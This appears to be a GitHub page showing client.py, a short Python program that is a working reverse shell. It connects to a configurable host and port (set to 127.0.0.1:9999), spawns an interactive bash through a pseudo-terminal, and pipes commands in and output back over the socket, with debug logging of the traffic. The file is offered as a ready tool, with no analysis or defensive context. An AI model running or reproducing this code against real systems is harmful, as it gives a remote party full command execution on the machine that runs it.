-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
executable file
·55 lines (40 loc) · 1.12 KB
/
client.py
File metadata and controls
executable file
·55 lines (40 loc) · 1.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import socket
import select
import pty
import os
import io
import sys
HOST = '127.0.0.1'
PORT = 9999
TRANSFER_CHUNK_SIZE = 2048
DEBUG_MODE = True
def run_bash_pty():
pid, fd = pty.fork()
if pid == 0:
# Child
os.execv('/bin/bash', ('-i',))
else:
return fd
def debug(*args, **kwargs):
if DEBUG_MODE:
print(*args, file=sys.stderr, **kwargs)
sock = socket.socket()
sock.connect((HOST, PORT))
bash_fd = run_bash_pty()
bash_stdout = io.open(bash_fd, 'rb', buffering=0)
bash_stdin = io.open(bash_fd, 'wb', buffering=0)
try:
while True:
r, w, e = select.select([sock, bash_stdout], [], [])
if sock in r:
data = sock.recv(TRANSFER_CHUNK_SIZE)
if len(data) > 0:
debug("Received len: ", len(data), " Str Data: ", str(data))
bash_stdin.write(data)
if bash_stdout in r:
response_data = bash_stdout.read(TRANSFER_CHUNK_SIZE)
debug("Sending (", len(response_data), "), Content: ", str(response_data))
sock.send(response_data)
finally:
sock.close()